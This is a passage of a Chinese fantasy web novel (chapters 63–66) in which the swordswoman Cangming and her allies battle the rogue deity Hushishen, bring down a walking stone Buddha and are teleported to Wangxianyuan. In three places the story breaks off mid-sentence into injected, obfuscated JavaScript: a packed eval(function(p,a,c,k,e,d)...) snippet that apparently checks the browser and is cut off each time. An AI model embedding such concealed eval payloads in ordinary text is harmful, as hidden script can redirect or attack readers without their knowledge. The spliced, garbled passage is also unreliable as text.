护世神抽出剑来,缓缓架在身前,猛地向外一挥。刀锋般的剑气撞击在苍名脸上,皮肉像要裂开一样疼痛。无数雪花也被气浪送了出来,像飞镖暗器般嗖嗖带响,被苍名一剑斩过,碎成了冰粉。 “不孝子。”护世神阴森地咧开嘴唇,“知道吗,天书中有言,舞将军遇三界至尊,必生变动。这变动却可好可坏,谁也算不出是往哪头……若你不助我一统天下,那么,这变动就只能是你的死期。” 苍名猛地刺向他的喉咙,未辞一拳砸向他的太阳穴。护世神执剑反击,剑法果然新颖无双,种种剑诀精深玄妙,竟是苍名从未见过的招式。二人合攻他一人,暂且未落下风,却也找不出他的任何一处破绽。 当地一声,护世神用剑尖撞击脚下的石地,法阵顿时烈焰腾腾,佛掌中仿佛托着一朵邪魅的火花。未辞一把拉过苍名,用手护着她的脸,不让热浪冲上门面。苍名没有法力,心知只凭剑舞万万不能抗敌,趁机对未辞耳语道:“哥哥,打断佛掌的手指。” 未辞嗯了一声,匆匆一瞥,眼中满含担忧和不舍,随即便展身跳出火圈之外。护世神专心致志,和苍名乒乒乓乓单挑起来,不忘嘲笑道:“你的小白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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希声在旁边挑起一边眉毛:“苍名若是归顺了他,不也仍旧是这个下场?”苍名险些笑出声来:“正是呢,还是你看得透彻。” 大雪之中,云层忽然透漏出一丝一丝的金色光晕。护世神警觉地抬头看了一眼,便踏着祥云悬空而起,一直飞出佛手,身影迅速消融于雪中。苍名穷追不舍,执剑刺去,六角雪花法阵刚露雏形,他就已经不见了。 未辞抱着手臂摇头道:“将军,轻易刺杀天神会引来祸患,毕竟我们苦于没有证据,天宫不会相信你降服了一位反叛。”苍名怅然若失:“你说得对。” 希声忽然说:“佛像在动。无律还在佛臂上放信号,不知掉下去没有。” 苍名连忙跃上长剑,御剑升空,只见佛像迈动着两只穿红色绣花鞋的巨脚,正一步一步往更北方走去。每一步跨过的,都是一片平原之远,或一条江湾之阔。 63. 揽客三鲜观 苍名御剑直奔佛脚而去,看准时机,一扑就跳上了石雕的下摆,几下轻点跳跃,便落到小山般的红色绣鞋上,高举冰刃,用尽全力刺入红色缎面。 在法诀的加持下,红鞋裂开一道峡谷般的缝隙,那缝隙如闪电般蜿蜒伸展出去,露出石色的佛脚。 巨佛冷不防被钉了一剑,疼得单脚乱蹦起来,竟像在跟人斗鸡一般。苍名急忙随着佛像蹦跳的节奏飞上飞下,才不至被颠下去。 佛手中的众人,则被甩得死去活来,即便是在佛脚下,也能隐约听见空中传来的绝望尖叫声。幸而六角雪花法阵还没有收起,混乱之中,苍名手掐法诀,遥遥念咒,六角雪花像一张渔网一样笼罩在佛手上,拦住了要被甩飞出去的信徒。 巨佛每蹦一下,都重重落回到北原大地,引起一场地动山摇。不知这一带是否还有人家,会不会房屋坍塌、乃至被巨佛踏在脚下?想到这里,苍名叫苦不迭,心急如焚。 叮地一声,苍名拔出长剑,轻弹冰刃。巨佛浑身一个激灵,单腿蹦跳的幅度大大放缓。借着这一瞬间的契机,苍名滴溜溜一个转身,在巨佛上恣意舞起剑来。飞檐走壁,才跃开去,复又游来。 寒风飒飒,白雪纷飞,人与剑合而为一,仿佛风声都有了曲调和节奏,并且那风声似乎不是从天地间吹来的,而是从她的指尖与剑尖里流淌出来的。 飞旋过后,最后一招燕式跳,长剑随之行云流水般向前一递。风回雪转,一舞未尽,片片雪光像烟花一样炸开,飘扬落下,覆盖在一眼望不到边的绣鞋上。 雪光一挨上红缎,就燃起了熊熊的火。绣花鞋被烧成了焦黑的碳,火里回荡着尖细的哭叫声。大风一吹,灰烬散去,石雕的佛脚裸露无遗。 巨佛的脚步,终于停了。茫茫雪原上,佛像立在原地,一动不动了。 举目四望,荒无人烟,气温比忘仙源一带更为严寒,佛像显然一路走到了更北的地方。 苍名收起宝剑,只听半空里一声拐着弯的口哨声。抬头一看,未辞正坐在一条衣褶上,随意地曲起一条腿,满眼放光地看着她。 “未辞哥哥!”苍名欢呼一声,沿着佛像身上刻出的石梯,伸出双臂奔向未辞。 未辞毫不犹豫地起身奔向她,伸出一只手托住她的后腰,一把将她捞了上去。两人在石佛上紧紧相拥,苍名勾住他的脖子,四目相对,彼此凝视许久。 他的眼睛如冰水一样缱绻动人,仿佛是在用目光亲吻着苍名。苍名轻轻捏了捏他的耳朵,说:“未辞哥哥,你都不来帮我。” 未辞笑了一下,声音低沉柔和:“我一直在看着你啊。” “那么,好看吗?”苍名眨着眼睛明知故问道。未辞乖乖地说:“好看。所以我看了这么久。” “未辞!”苍名想到了什么,突然心头一紧,“你是不是连续打断佛指,消耗了太多体力?有没有虚弱?有没有哪里不舒服?” 未辞拿起她的一只手,放在自己的脸颊上,不住地轻轻摩挲着。柔软的手轻抚着他的脸,他低声说:“还好,休息一下就没事了。” 苍名感到了无可奈何的懊悔,好像有无数根细针扎在心上,那是一种酸楚的疼痛。未辞微微一笑,轻松地说:“小事情罢了。除了我这样的青年才俊,谁还能打断那根佛指呢?” “喂,你们两个,聊够了没有啊?”一声崩溃的吼叫从天而降。 无律把拐棍当成登山杖,一步一步沿着石梯挪下来,满脸都是抽搐的表情:“我正在石头手臂上辛辛苦苦放信号……说时迟!那时快!怎么佛像就突然跑起来了?接着又满地乱蹦……” 苍名拉着未辞的手,对无律解释道:“佛脚穿着绣花鞋,一路跑到这极北地带,恐怕是想把信徒都冻死。好在,绣花鞋已经被毁掉了。” 无律愁眉苦脸地说:“真是的,方才信号是放在山地那里,这会儿我们怕不是移动了几百里,只能放出新的信号了。唉,倒叫他们白白多跑不少路,真是有损本师尊的形象。” 未辞看向来时路,苍名捏着眉心说:“护世神不知为什么突然逃走了,但我猜,不出三日,他还会回来的。” “不错,他的目的尚未达到,必然不会善罢甘休。”未辞随声附和。 苍名一抛长剑,和未辞一起站了上去,对无律说:“我们先回佛手中疏散了信徒。” 无律从怀里摸出几个信号弹,说:“我当然是要继续放信号了。对了,那个什么天神,还真是天神不成?” 苍名点了点头,想要跟他描述一番。未辞见无律反应迟钝,竟还停留在最初的粗浅认知里,颇为不耐烦,拉着她御剑飞远了。 六角雪花法阵中,缺了一根指头的佛手无力地摊平了。李弦真和老鬼莲随着天神一起消失了,地上横七竖八躺了一群人,在法阵的庇护下并无大碍,只是有些许擦伤。所谓上山容易下山难,没有了传送法阵,这群人被困在掌中,只能等无律的增援到了之后,再合力将众人转移下山。 道场的八个方位已经被希声贴了镇静驱邪符,摔破了皮的人也一律脑门上贴了简易的愈病符。那些被护世神杀死的空皮,却不能复生,远远地堆在一边。 希声正盘腿坐在石地上,轻拨千境琵琶,曲声如泣如诉。消业安魂曲叮叮咚咚地倾泻而出,既是在为亡魂超度,也在化解着在场信徒的业障与惊惧不安。 苍名坐在她身边,听着哀婉的曲调,此时大雪初霁,未辞站在不远处看着苍名。 苍名望着天边的金光,轻轻说道:“真抱歉,让你卷了进来。你家里的事,才过去没有多久。” 希声在弦上轻拨慢捻,许久之后静静地说:“前来尽一份力本就是应该的,天下总有些事不是你一人能摆平的。反倒是闲下来,才会想起过去,思虑颇多。” 大风又起,苍名抱住双腿,将下巴搁在膝盖上,犹豫着问道:“一定……还在想着老父亲吧。我想总要过个三年五载,心中才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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先前那位老妪跌跌撞撞地爬出来,双手合十举过头顶:“能不能保佑我那昏迷多年的儿子醒来?只要应了我的愿,让我替上仙做什么都行,上刀山下火海,杀人放火,我都肯!求求上仙,求求上仙了……” 苍名留神细看了她一会儿,心里颇为复杂。希声在一旁开口了:“能不能醒来,要看他自己的命。不过,我的确可以去他病榻前弹一曲清心复元曲,疗效胜过祛病黄符。” 这一下,众人沸腾起来,争着报出自己的愿望。苍名急忙伸出双手镇压道:“眼下最要紧的是送各位下山,许愿的事,各位去逢焉城息园三坊再说不迟,请务必记得带供奉,有钱出钱,无钱少带点米面鸡鸭也可以的……” 一阵耀眼的金光笼罩了石像。苍名突然心有灵犀,拉起未辞的手就奔出佛掌,一路跑上石臂。 石壁上,站着下凡的雪结未央。方才天边的金光并非晚霞,而是师祖现身。 苍名大喊一声:“师父!” 师祖气急败坏地大踏步过来:“师父,大事不妙!” 64. 天宫断后路 苍名警觉地回头张望了一下,无人跟来,谁都不知未央偷下凡尘。未辞悠闲地靠在峭壁上望风,苍名和师祖躲进石像的一道衣褶里。 师祖急急忙忙地说:“师父,我不能下来太久,长话短说,天书里记载的那个和你相克的神,恐怕已经现身了。我本想再降临在上次的石佛处,却发现佛上有金光,那是神官才有的护体之光!” 苍名说:“师父,方才我们已经和他交过手了,你猜他是谁!” 师祖长眉一扬,追问道:“他是谁?他逃了?想必是察觉到我带来的金光,害怕被神官发现,真是敢做不敢当。这巨佛跑得也真快,我追了半天才追上!” 苍名义愤填膺地说:“不错!那个损种,就是所有武修道士都景仰孺慕的、号称能平三界之乱、能庇佑人间太平的那位!” 师祖茫然地说:“啊,这样的武神有很多啊,师父你指的是哪位?” “这……”苍名和师祖面面相觑,迟疑地说,“师父,就是昔日你常对我们讲的那位护世神啊!旷世之尊,最厉害的那位!” “原来是他?”师祖冷笑一声,“原来是他!可教人间乱得好苦!他如今可是天宫里炙手可热的红人,多少武力在他之上的神官,都被他压得翻不了身。” 苍名睁着眼睛问:“师父!你当年不是说,他就是武力最高的神吗?” “诶,不必全信。”师祖挥挥手,随意地说,“当年那不是为了勉励你们吗?再说史书典籍里也没有记载太多武神,随手找一位罢了。” “……” 师祖探头向外张望一番,就钻出了衣褶:“我又该回去了,我是当差时偷偷跑出来的……苍名,无论如何,我会联结天界神官,揭发这暴徒的罪行,你自己要当心,别太硬拼了。” 苍名眼睛一亮,满怀希冀,接着又萎靡不振,摇头说:“师父,若能够集结力量当然好了,但稍有差池就会……师父,你还是帮我另一个忙吧!” 师祖说:“尽管告诉我。” 苍名说:“假如可以的话,师父你能不能带人守住回天宫的路呢?我猜护世神还会再来找我,只要你带着诸神和小兵们一直待在他回宫的必经之路上,他就再无退路。” “好极了!若是他没有发现,就一头栽进埋伏,让天界仙僚发现他私自下凡,继而查出他的丑闻!若是他发现后路被切断,就没法回天宫,时间一长,天界仍旧会发现蹊跷之处。”师祖大力拍着苍名的肩膀,“交给我吧!” 两人依依不舍地对视了一眼,师祖就腾云驾雾而去,消失在暮色天际。 未辞晃了过来,从身后贴上苍名,整个人挂在她身上:“将军是怕师祖受牵连,所以不愿让她正面集结神官去弹劾护世神?” 苍名回手勾住他的脸颊,说:“你最懂我了,未辞哥哥。” 未辞半真半假地抱怨道:“将军有事求我时,就哥哥长哥哥短的,没事时就自己到处跑着抓鬼,把我晾在一边。” 苍名愧疚道:“等到解决了这一桩大案,我就带你隐居到远远的地方,你喜欢吗?” 未辞的嘴唇靠近她的耳边,呼出的热气吹在她颈间:“喜欢。” “到那时,我每天都和你在一起。”苍名对他保证道,“你喜欢什么古董,我们就去淘来,你喜欢坐在水边喝茶饮酒,我们就不论黑夜白天。” 未辞的双臂紧紧圈住了她,有力的身躯抵了上来,顶得她要往前踉跄,却被按得更紧了。他说:“一言为定。” 苍名侧过脸来,鬓角擦上了他的嘴唇。冰天雪地桃花面,丹唇微启,待要说句什么,忽然脚下一声呼喝:“鬼克星!” “?” 未辞不情不愿地松开手。苍名急忙俯身看去,陡峭石梯上,四脚并用挂在佛身上的,不是别人,正是魏羌。 “魏兄弟,是你啊!”苍名眉开眼笑,意欲抽出冰刃,“剑给你,你御剑上来好啦!” 魏羌却气喘吁吁地说:“这个不行。唉,我快了……拉我一把,谢谢……” 苍名伸出手,未辞立刻抢先,但和魏羌的指尖仍然差了一截。只听有人咂嘴道:“来来来,抓住这个。” 抬头一看,原来是放完信号的无律从佛肩上出溜下来了,他将拐棍的一端伸向魏羌。魏羌抓着拐杖,跟头把式地爬了上来,双腿晃得都快要发出振翅声了。 无律摸着下巴说:“多日不见,你怎么虚成这样?” 魏羌调匀气息后,抓着后脑勺说:“我,我的修为都散尽啦。” 苍名心中一凛,似乎已猜到是怎么回事。无律却不明所以,大吃一惊:“什么?你怎么修为尽失?谁干的?有人敢动我兄弟?快告诉我他是谁!对了,我现在是铜铎派现任师尊,我会替你讨回公道……” 魏羌嘿嘿一笑:“没有人害我。是家父他老人家一直病着,只有我做儿子的将修为散给他,才能真正保住他的命。我这次回来,就这么做了。” 无律哎哟哎哟地长吁短叹起来。苍名拍了拍魏羌的胳膊,宽慰道:“想来是奏潮仙的家事触动了你,我觉得你做得很对啊!即便修仙百年,所求的不也就是一个恬淡怡然吗?” “不错,现在我懂了,承欢膝下,原来就是我的心安之处。”魏羌不愿再多说自己,转而叮嘱道,“几位不要跟奏潮仙细说我散去修为是受她触动,否则她老父已经过世,岂非要物伤其类,又说不定会因为她自己影响到别人而愧疚不安。” 无律说:“你是真不了解她啊,她才不关心这些事。” “……”魏羌忽然想起正事,“对了,我派看到了信号,家父就命我率一众弟子赶来助阵。原来是音律仙放的信号?出了什么事?” 无律立刻往下看:“其余弟子呢?他们在哪?”苍名则问:“老参派究竟驻扎在何处?此次回到关外,到处都荒无人烟。” 魏羌一一回答道:“我那些师兄弟姐妹们,还在佛像半腰处呢。我现在虽已丧失灵力、不能制药,好在还剩了些拳脚功夫,爬得比他们快些。我派隐藏在深山之中,远离尘世,轻易找不到的。” 不多时,果然有些红袍弟子接二连三爬了上来。待到人聚齐后,苍名便领着众人回到佛掌中,将事情的来龙去脉一五一十讲了一遍,未辞偶尔低声对她补充一句,连希声和无律也听得聚精会神。 道场中的信徒们迟迟无法脱身,已经开始焦躁不安。这时一听说这群红衣人是来送自己下山的,顿时又争抢起来,生怕自己分不到救星。 魏羌和几位师姐师兄商量片刻,决定选出身手利落的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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远处石袖上的雪却仿佛是凸出来的,厚厚的一块。那位置绝不是石头上雕出的衣袖褶皱。 集中灵力,凝神看去,那一大块积雪竟然动了。苍名猛然认出,那不是积雪,而是天心沭。 未辞也低声说道:“是她。” 高大的雪雕转眼就走近他们,双脚不再穿着血红色绣花鞋,而是随便从哪里找了双白靴穿上。 天心沭停在苍名面前,没有瞳孔的雪白眼睛盯着她,让她觉得自己被人翻了白眼。 无律率先开口说:“喂,雪雕大王,令尊被令师姐偷去送人了,和我们没关系,我们还被令师姐算计了呢。” 天心沭喉头嘶哑地说:“她已经不是我师姐。我派人找了半天才找到这里,我是来跟你们谈判的。” 苍名奇道:“谈什么?” 天心沭说:“我要弄死那个做绣花鞋的人。你们是不是也弄他?一起弄。” 苍名明白天心沭是为了出一口恶气,联合几人去报仇雪恨。她熟知背负仇恨的滋味,不觉竟同情起来:“我明白了。做绣花鞋的是天宫的护世神,眼下这只佛手里是他设的道场,已被我们破坏,要先送众人下去,再从长计议。” 天心沭瞥了一眼道场,说:“这六角雪花法阵是你的,护住这群杂种不成问题吧?” “……不错。” 天心沭冷笑一声,突然跃上佛像头顶,召起北原满地白雪,凝成巨大的骷髅阵。骷髅张开空洞的嘴,一头撞向石佛。 与此同时,数以万计的妖鬼小兵从天边策马奔腾而来,在副将的率领下,随着骷髅一起朝石佛冲过去。 一声巨响,载着无数人、仙、妖的石佛轰然倒地。 65. 石佛落神坛 过了许久,地上扬起的白雪终于重新落下,石佛躺在地上一动不动,佛手里传来哭爹喊娘的怪叫声。 佛像仰面向后摔过去的一瞬间,苍名只来得及掐个护卫法诀,令六角雪花法阵兜头盖脸地笼罩下来,牢牢接住佛手中的众人。未辞一把抓住她的腰,将她拉进怀中,用手臂和后背抵挡着撞过来的人。两人被激流般的人浪冲到很远的地方,互相抱着滚了几圈才停下来。 “各位还好吗?有没有人受伤?”苍名头晕目眩地爬起来,刚喊出这句,就觉得眼前都是金星。未辞的手臂还搭在她身上,青筋蜿蜒凸起,隆起的手骨也微微发白,尚能看出刚才用力的痕迹。 从佛手中甩出来的无数信徒,密密麻麻地歪倒在石佛的胸膛上。躺倒的佛山就像平原上的一道山坡。法阵网住了人群,大大缓冲了坠落时的激烈冲击,使他们不至于摔死在坚硬的石头上,但仍然免不了彼此的磕碰。 有些人摔成了叠罗汉,最低下的人几乎要吐血。还有人惊魂甫定,正在暗自庆幸没有缺胳膊少腿,却蓦然发现自己怀里抱着一具被护世神杀死的空壳,顿时没命地哀嚎起来。 “希声!你们在哪?”苍名拉着未辞一起趟过人堆,放声呼喊,“无律!魏羌!” 一道气闷的嗓音回答道:“死不了,眯着呢。” 苍名立刻转着身四面八方地张望:“是无律吗?我怎么看不见你?”未辞哼哼一笑,举起拉着苍名的那只手,向前方指了指。只见无律拄着大拐从佛像的鼻孔里走出来,脸色铁青,瓮声瓮气地说:“要不是老子落地的一瞬间撑杆跳,差点要摔成残废,以后只能瘫巴在床上了!” “诶,不要说丧气话嘛。再说,若是真的瘫痪在床的病人听了你的话,岂不是会伤心。”苍名看着一地的人,眼花缭乱,“另外两人呢?” 无律走了半天才走到苍名身边,说:“一路上并没看见。希声是不是摔到哪里去又睡着了?” “呵呵。”冷艳的笑声从无律后脖颈处飘了过来,吓得他原地跳跃转身,大叫一声。 希声和魏羌是从佛像的衣襟里转出来的,全须全尾地站在苍名眼前。几人安下心来,不约而同地向雪地上看去。天心沭带来的军团已经消失不见,只有副将秘密地躲藏在石雕衣袖下面,仿佛雪地中露出的干枯树墩。 再一转头,天心沭冷冷地看着他们:“感谢的话就不必说了,快点下来,还要磨蹭到什么时候?” 无律用拐棍指着她,气得鼻子都快歪了:“谁要感谢你?你胜之不武,上来就偷袭,还以多欺少……” 天心沭身后的副将立刻举着刀剑长矛喝起倒彩来,大发嘘声。见天心沭没有制止,副将更加意气风发,大声喊话道:“还不快向大王叩首谢罪!若不是大王撂倒这石头雕像,那群肉体凡胎怎么下得来?” “……”苍名挤出一丝微笑,“那还真是多谢大王的妙计了。” 在红衣弟子的帮扶下,那群信徒迈着打晃的双腿,跌跌撞撞走下了石像。有些孱弱无力的老者经过这一番折腾,已经走不动路,只得由身强力壮的弟子背着下去,幸而放倒后的石像的确离地面不算太远。不久众人终于踏上平地,个个劫后余生,喜极而泣。 有人问道:“怎么仿佛听到是一个什么大王打倒了这石像?大王在哪里?我能改拜这位大王吗?” 旁边人回答道:“没看清这石像是怎么倒的,只觉得一瞬间有股大力袭来,真是奇怪……”又有人说自己好像看到空中有张白色骷髅面一闪而过,引发了众人的嘲讽,最后连自己也疑心是看走了眼。 妖鬼军团来无影去无踪,没有被任何一位凡人看见,而骷髅也只在眨眼之间闪现。这一场酬神盛会太过于离奇诡异,以至于人们的记忆像一场梦魇一样。 天心沭独自站在隐蔽处,命令苍名:“快点把这些凡人赶走,我不想被他们看到。” 苍名清清嗓子,对众人说:“各位也看到了,这里是北原之北,距离酬神盛会召开的地方又远了很多。请各位即刻出发,回到自己的老家,不要再偏信这位开道场的大王了。” 魏羌说:“我派弟子会护送大家出关,之后的路,就由各位自己走了。” 人群乱哄哄的,大多数人都在叫嚷着寻找归途的同伴,又争着去抓红衣弟子,恨不得把一个弟子扯成两半。却也有少数几个人挤到苍名面前,说:“道长大人,我们也想略尽绵薄之力,以报答救命之恩,有没有我们能做的?” 无律插嘴道:“你们要是留下帮忙,我们就又要救你们的命了。” “……” 苍名犹豫地看向未辞,未辞对她挑了挑眉毛,传音道:“不想要的话,拒绝就好了。”苍名也在脑海中送出声音去:“可是如果打消了他们行善的念头,万一他们就不再想要做好事了……” 未辞笑了出来,露出了一侧的梨涡:“那就让他们做一点简单的事?” 苍名点点头,稍加思索,便双手一拍,对那几个人说:“哎呀,还真有事要求你们帮忙!” 那几人喜出望外,未辞则低头忍笑。苍名说:“能不能劳烦几位,出去以后逢人就宣扬这道场的阴谋,莫要人更多人上当了。” “这算什么劳烦,本来我们也要去说的呀!差点没命了啦!” “天杀的,碰上这种事,够我出去说一辈子喽……” 希声开口说:“听说各地都有这家道场的传送法阵,劳驾烧掉。” 那几人满口答应。于是众信徒便带着空皮尸身,跟随老参派弟子一同往关外跋涉而去,此行不知要走多久才能走出雪原,一路风霜刀剑,不在话下。 雪地上重归寂静,只有苍名五人守着躺倒的石像。天心沭从藏身处走了出来,对苍名说:“先说好你不能对我动心。” “?”几人都面露费解之色。 未辞阴沉地看了天心沭一眼,声音厚重得像盾牌一样:“阁下不要搞错了,她只对我动心。” 天心沭呸了一声,说:“谁他妈要跟你比了。”她盯着苍名,斩钉截铁地说:“我可以随你们一起去杀那护世神 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未辞低头对苍名说:“将军,咱们的古楼里有的是好东西,那可是苍名古董店。”苍名展颜一笑,眼角眉梢都镀上了明媚的光泽。 无律立刻把宝石叶子接过去:“没人要我要。” 天心沭白了他一眼,不耐烦地说:“作战计划是什么?去哪里找那脏东西?快点。” 苍名说:“我们几个搜查这佛像,阁下不如就搜查周围,明日黎明时在佛像处碰头,如何?护世神是个黑衣人,有金光护体,十分好认。” 天心沭一挥手,妖鬼兵团又现身了。邪狞,千年浮尸,还有五花八门的恶鬼邪妖,看得几人头皮发麻。副将判木做了吩咐,很快一群人散开,天心沭亲自带队,在茫茫雪地上打捞金光的痕迹。 天色已晚,苍名等人点起火折子,钻进铜铎派的金车,飞到半空,绕石佛一寸一寸察看。 苍名谈起那日乌鸦精的言论,捏着眉心说:“人间从天子开始,不知有多少官吏和神鬼勾结。”希声说:“历朝历代都是如此,只能去查了。” 无律挺了挺胸膛,义不容辞道:“我将调动小妖小鬼的关系,列明大大小小的官吏,叫他们挨家挨户去查。想来他们与鬼神之间总要通信的,未必不会有蛛丝马迹。” 苍名点头说:“那就太好了。可惜朝堂上的事,我们无从插手。” 未辞笑道:“江湖虽远,风却也能吹到朝堂。至于动荡变故、改朝换代,就交给朝堂上的人自己去解决了。” 苍名嗯了一声,对他甜甜一笑,驾车的无律撇了撇嘴说:“哦哎,专心搜查了。” 魏羌分析道:“如今老鬼莲倒台,最大的魔鬼头目已经不在,护世神说不定会寻找新的鬼界帮手。” “看来还要留意妖鬼界动静,这个是不是就可以麻烦霍贤弟去盯着了?”无律说着,突然往后一勒缰绳,“那个……石像上,怎么有一道门?” 66. 故地再召霞 佛像背在身后的那只手,压在他自己的躯体之下。这条弯曲的手臂隐藏在宽袍大袖中,外袍的袖口就像一只躺倒的、敞开的布袋,从石佛的后背下面绵延出来,露出繁复而考究的里衣、内袍、纱衣。 在层层叠叠的石雕布料之间,隐藏着一扇石门。门四周的缝隙就像头发丝一样细,在越来越暗的天色下,几乎无法察觉。 苍名跳出金车,轻轻落在那扇门外。未辞也跳到她身边,两人异口同声道:“这门有蹊跷。”说完,彼此都笑了一下。未辞说:“将军越来越老练了,以后的路若是自己走,我也放心了。” 苍名眼皮一跳,只觉得一阵不妙的预感笼罩心头,急忙追问道:“为什么要我自己走?” 未辞轻轻说道:“逗你玩的。” 无律三人也下了车,苍名只好先止住话头,心里却总是有一种挥之不去的恐惧。 希声打量着藏在石袖中的门,说:“护世神看准了我们不敢贸然进去,这一招缓兵之计真是狡猾至极。”无律用拐棍虚点着门:“不知道那老神棍是不是藏在这里?还是已经跑到别的地方去了?” 魏羌煞有介事地说:“喂,诸位小心呐!我们采药为生的人,最清楚这些离奇的事了。” 无律很有兴致地问:“有什么离奇的事?” 魏羌神秘地说:“比方说,进山采药时若是看见有个人影对你招手,那可一定不要答应。但是也不能回头跑,因为这时候,你的身后一定也有一个人影!” 无律嘴里嘶哈地吸着气,紧张地问:“为什么?”希声面无表情地说:“两鬼一前一后夹击你。” 魏羌说:“奏潮仙说的正是!还有,若是在夜里采药时看到一户人家,前不着村后不着店,那千万不要进去。我派曾有弟子采药时在荒郊野岭迷路,蹉跎到夜半三更,突然看到一座小屋,进去以后!啧啧……” 希声说:“不管怎样,不能在此处耽误太久。”苍名赞同道:“的确,这石门里究竟有什么,总要打开才能看见。甚至,这也许只是一道障眼法。” 未辞点头说:“不错,也可能护世神早已藏在暗处,看着我们在这里煞费苦心。”说得魏羌不禁四外圈地转头看着。 苍名抽出长剑,点向石门。无律突然叫起来:“哎,我说,要不然我们在门这里放一把火,把里面的东西熏出来……” 希声横了他一眼,他悻悻地说:“算了,门缝这么细,估计烟也熏不进去的。” 苍名屏住呼吸,一手二指引剑诀,架剑的那只膀子向后拉去,如引弓般蓄力,借着回势的劲道,向石门刺去。无律又叫了起来:“哎,要不然我们……” 这次苍名直接一剑刺到了底。剑尖叮地一声撞上石头,轰隆隆一声,石门向内旋开,与其说是一剑破开的,倒不如说是一剑敲开的。仿佛有什么人在门口恭候多时,静等着这一声剑鸣。 门外五人各自拉开架势,严阵以待。魏羌虽内力与灵力都大不如从前,但也从红袍的后衣领中拔出痒痒挠。然而,门里只是一间巴掌大的石室,空空如也,墙壁雕琢得粗制滥造。 希声袖起手,锐利的眉峰波动了一下:“空的。当心有诈。” 苍名看向未辞,未辞也正看着她。两人心里都明白,踏出这一步,就再也没有回头路,但这一步或早或晚总要踏出。她回头对其余三人说:“你们,能不能去带些人来,我们互相交换定位符,到时叫你们来找我……” 无律嗤之以鼻:“不就是想把我们支走吗?不够意思了啊,我也不是那么贪生怕死的。呃,再说仙人轻易也死不了吧……” 希声说:“从前去剿鬼,都是我们一起。”魏羌也帮腔道:“我嘛,还指望这次多攒些功德呢。从头开始修行,比较缺功德,你们懂的。” 苍名下定决心,说:“几位,感谢的话日后再说,尽在不言中了。那么,大家手拉手一起上吧。” 那几人虽然愿意赴汤蹈火,但却不大愿意手拉手。希声和无律只伸出拇指和食指互相捏着,魏羌抓住妖王的手腕,妖王的脸像要沉到地上一般。五人本想同步踏进石室,奈何石门狭窄,终于挤挤挨挨站了进去。 一切安然无恙。 苍名说:“看来要再破开一层墙壁,或许跟从前我见过的地宫一样。”她松开拉着希声的手,去摸身侧的佩剑。石门却咚地一声关上了,周遭一片漆黑。五人被关进了狭小幽闭的黑暗空间内,顿时觉得喘不上气。 苍名早有预料,急忙默念法诀,未辞的手也动了动,似乎是准备击破石门。 就在这时,石室突然天旋地转。喀喀的巨响在头顶炸开,仿佛这尊石佛要整个被碾成碎石块。黑暗中,几人被一股大力吸了过去,再被重重甩到地上,身下一片冰凉。 乍然被抛进光亮之中,眼前是白花花的一片,直晃得人眼泪都要出来了。苍名眨了几下眼睛,终于看清四周是无边无际的雪地,当空一轮皎皎明月,照得白雪如银波一样亮堂。 一只温暖的大手把她拉了起来,未辞的声音在耳边响起:“将军,这里是……” “忘仙源。”无律呼哧带喘地接了下去。希声和魏羌也已经爬了起来,没过小腿的白雪寂静无声,似乎这些积雪已经独自在北原度过了无人的、漫长的时间。 苍名怔怔地看着四周,月色之中,断壁残垣都被镀上了一层贝壳一样的光华。她说:“是啊……是忘仙源。那石室原来是一道传送法阵。可是为什么把我们送来这里?” 就像是为了回答她的话,一道矮墙后忽然涌出了无数个穿绣花鞋的死尸。那些歪向一边的脑袋上,嘴巴一开一合,快活的嗡鸣响起:“万千愚民,生而为供养,天潢贵胄,岂能务农忙……”转眼间,尸群就将几人包围在中央。 “喂!”苍名大叫一声,提着剑却不知从何出杀起,看着忘仙源被一群邪物玷污,差点要内心崩溃。无律在旁边说:“理解,理解,我看到铜铎山被人打了地洞,也是想骂娘来着……” 未辞哼了一声,忽然扬手掷出一只白鸥。白鸥如飞刀一样破开月光,穿透了那道矮墙,立刻激起了一声粗哑的尖叫。未辞冰冷地说:“还不出来么?” 李弦真蹒跚着从墙后走了出来,身后跟着傻子一般的老鬼莲。 苍名叹息道:“你一朝为护世神卖命,就永远不能脱身了。”李弦真佝偻着,眼睛从下往上盯着苍名:“我要大王带回怡儿。” 苍名抽出长剑,说:“叫你的大王出来,别躲在鞋子后面。” 李弦真干干巴巴地背诵道:“大王有令,命你三思而后行,天亮之前他会来忘仙台上与你和谈。若你执意与大王作对,那么大王将要先杀死你,再将天下收入囊中,忘仙源会第一个被夷为平地,接着是你同党们的老巢。” 未辞掸了掸肩头不存在的灰尘,说:“可笑。” 李弦真不为所动,继续念白:“大王心胸宽广,愿意摒弃前嫌,若你能辅佐他,必能享受无上荣华富贵,一人之下,万人之上,比杀鬼成神好上数倍。” 苍名看了看周围的尸群,竟有些意兴阑珊,懒得动手。或许是这一路大风大浪,看惯了猛菜,对这等开胃小碟失去了耐心。希声也说道:“保存些体力,留待决战忘仙台。” 于是苍名随意挽了几个剑花,避得绣鞋僵尸踉踉跄跄,避退三舍,让出一条路来。几人穿越尸群,远远走开,来到忘仙台上。李弦真也不管他们,像一堆杂物一样蹲在雪地里出神,时而带着杀意看向老鬼莲。 忘仙台上,彩云时而遮月,圆月忽隐忽现。苍名盘膝而坐,仰头望天:“今夜是十五了。”未辞坐在她身边,柔声问道:“坐在雪上冷不冷?要不要坐在我怀里?”问得苍名差点脸红,其余三人见怪不怪地瞟了过来。 苍名伸出一根指头,在地上勾勾画画:“天亮之前,我们还有很多事要做。老鬼莲的那些死鬼,虽然不算难打,但数量众多,难免牵制我们,分散力量。恐怕还要想办法设个阵,令他们不能攻入,不过他们也可能转而冲出关外,以平民性命作为要挟……” 